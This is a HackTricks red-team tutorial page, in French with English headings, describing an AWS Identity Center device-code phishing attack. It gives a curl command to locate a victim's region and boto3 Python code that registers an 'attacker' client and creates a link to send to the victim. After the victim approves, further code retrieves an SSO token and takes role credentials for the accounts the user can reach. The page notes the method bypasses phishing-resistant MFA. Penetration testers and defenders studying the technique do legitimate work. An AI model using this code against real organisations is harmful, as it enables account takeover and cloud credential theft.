AWS - Identity Center & SSO Unauthenticated Enum

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge HackTricks AWS)!

Autres façons de soutenir HackTricks :

Phishing de code de périphérique AWS

Initialement proposé dans cet article de blog, il est possible d'envoyer un lien à un utilisateur utilisant AWS SSO qui, si l'utilisateur accepte, permettra à l'attaquant d'obtenir un jeton pour se faire passer pour l'utilisateur et accéder à tous les rôles auxquels l'utilisateur peut accéder dans le Centre d'identité.

Pour effectuer cette attaque, les prérequis sont les suivants :

  • La victime doit utiliser le Centre d'identité

  • L'attaquant doit connaître le sous-domaine utilisé par la victime <victimsub>.awsapps.com/start

Avec ces informations, l'attaquant pourra envoyer un lien à l'utilisateur qui, s'il est accepté, accordera à l'attaquant l'accès au compte utilisateur AWS.

Attaque

  1. Trouver le sous-domaine

La première étape de l'attaquant est de découvrir le sous-domaine utilisé par l'entreprise victime dans son Centre d'identité. Cela peut être fait via OSINT ou deviner + BF car la plupart des entreprises utiliseront leur nom ou une variation de leur nom ici.

Avec ces informations, il est possible de connaître la région où le Centre d'identité a été configuré avec :

curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
  1. Générer le lien pour la victime & Envoyer

Exécutez le code suivant pour générer un lien de connexion AWS SSO afin que la victime puisse s'authentifier. Pour la démonstration, exécutez ce code dans une console Python et ne la quittez pas car vous aurez besoin de certains objets plus tard pour obtenir le jeton :

import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)
  1. Attendre que la victime l'accepte

Si la victime était déjà connectée à AWS, elle devra simplement accepter d'accorder les autorisations. Si elle ne l'était pas, elle devra se connecter, puis accepter d'accorder les autorisations. Voici à quoi ressemble la fenêtre contextuelle de nos jours :

  1. Obtenir le jeton d'accès SSO

Si la victime a accepté la fenêtre contextuelle, exécutez ce code pour générer un jeton SSO en se faisant passer pour l'utilisateur :

token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

Le jeton d'accès SSO est valide pendant 8 heures.

  1. Impersonate the user

sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')

Hameçonnage du MFA impiratable

Il est amusant de savoir que l'attaque précédente fonctionne même si un "MFA impiratable" (webAuth) est utilisé. Cela est dû au fait que le flux de travail précédent ne quitte jamais le domaine OAuth utilisé. Contrairement à d'autres attaques de hameçonnage où l'utilisateur doit usurper le domaine de connexion, dans le cas du flux de code de l'appareil, un code est connu par un appareil et l'utilisateur peut se connecter même sur une machine différente. Si l'utilisateur accepte la demande, l'appareil, simplement en connaissant le code initial, pourra récupérer les identifiants de l'utilisateur.

Pour plus d'informations à ce sujet, consultez cet article.

Outils Automatiques

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks :

Dernière mise à jour